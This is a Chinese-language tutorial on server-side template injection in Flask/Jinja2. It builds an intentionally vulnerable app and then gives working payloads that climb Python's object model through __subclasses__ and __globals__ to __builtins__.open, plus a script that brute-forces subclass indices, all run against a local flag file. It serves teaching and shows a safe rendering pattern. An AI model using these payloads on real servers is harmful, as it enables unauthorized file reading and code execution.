Flask模板注入
Flask模板注入漏洞屬於經典的SSTI(伺服器模板注入漏洞)。
- Title: [CVE-2019-8341] Python Jinja2 command injection in function from_string
- Category: security
- Stage: in progress
- Components: incident
- Versions: unspecified
Flask案例
一個簡單的Flask應用案例:
from flask import Flask,render_template_string app=Flask(__name__) @app.route('/<username>') def hello(username): return render_template_string('Hello %s'%username) if __name__=='__main__': app.run(port=8088)
路由
route裝飾器的作用是將函式與url繫結,其功能是返回使用者自定義的username。
渲染方法
Flask具有兩種渲染方法:render_template和render_template_string。
render_template()用於渲染給定檔案,如:
return render_template('./example.html')
render_template_string()用於渲染單個字串。這是SSTI漏洞注入問題中常見的渲染方法。使用方法如:
html='<h1>This is a test.</h1>' return render_template_string(html)
模板
Flask使用jinja2作為渲染引擎。模板檔案並不是純粹的.html檔案,由於需要渲染使用者名稱、個性資料等,模板.html檔案需要包含模板語法,如:
<!--/template/index.html-->
<html>
<h1>{{content}}</h1>
</html>
{{}}
在jinja2為變數包裹識別符號。
服務端此時就能利用變數content渲染資料,如:
#test.py from flask import Flask,url_for,redirect,render_template,render_template_string @app.route('/index/') def user_login(): return render_template('index.html',content='This is index page.')
頁面會輸出“This is index page.”。不過這是與前文案例不同的模板使用方式,這種寫法能夠控制模板渲染的變數,不會引起XSS利用。
規避XSS利用的思路可以用如下兩端程式碼的對比體現:
#存在問題
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''<h3>%s</h3>'''%(code)
return render_template_string(html)
#規避問題
@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('<h1>{{ code }}</h1>',code=code)
實現注入,需要前文案例中那樣有漏洞的寫法。
注入試驗
將jinja2的變數包裹識別符號{{}}
傳入,得到報錯:
在服務端可以得到報錯資訊:jinja2.exceptions.TemplateSyntaxError: Expected an expression, got 'end of print statement'
,即觸發模板,且模板需要取得表示式內容。
傳入{{self}}
,返回模板資料:
案例中,模板具有引用物件username,這裡沒有傳入,故引用物件為None。
檔案查詢
設定服務端的.py檔案同級目錄下有一個FL4G.txt檔案。
定位所需函式
開啟檔案需要Python內建的open()函式,由於Python完全由物件構建,需要先得到Python的物件,再例項化需要的函式。
使用魔術方法(Magic Methods)。
傳入{{self.__class__}}
,得到模板引用的類:
物件是類的例項,類是物件的模板。傳入{{self.__class__.__base__}}
,得到物件:
得到基於當前物件的所有子類,傳入{{self.__class__.__base__.__subclasses__()}}
:
返回了列表形式儲存的全部結果,使用下標可以單獨取得任意類。
檢視type類的初始化方法,傳入{{self.__class__.__base__.__subclasses__()[0].__init__}}
:
slot wrapper特徵封裝,不是可以直接呼叫的function。
使用如下指令碼取得類初始化方法為function的類:
import requests
if __name__=='__main__':
for i in range(1000):
r=requests.get('http://127.0.0.1:8088/%7B%7Bself.__class__.__base__.\
__subclasses__()[{}].__init__%7D%7D'.format(i))
txt=r.text
if 'function' in txt:
print(str(i))
重新傳入{{self.__class__.__base__.__subclasses__()[133].__init__}}
,這個class的初始化方法是一個function:
繼續檢視存放該函式全域性變數的字典的引用,傳入{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__}}
:
在眾多資訊中可以查詢到關於內建函式open()的資訊:
呼叫函式
傳入{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']}}
,可得全部內建資訊,open()函式包含在內。直接呼叫open()函式開啟檔案:
{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__'].open('FL4G.txt')}}
{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__'].open('FL4G.txt').read()}}
小結
幾種重要的魔術方法:
方法名 | 功能 |
---|---|
__class__ | 返回型別所屬的物件 |
__mro__ | 返回包含物件所繼承的基類元組,方法在解析時按照元組順序解析 |
__base__ | 返回物件所繼承的基類 |
__subclasses__ | 每個新類都保留子類的引用,該方法返回類中仍然可用的子類列表 |
__init__ | 類的初始化 |
__globals__ | 對包含函式全域性變數的字典的引用 |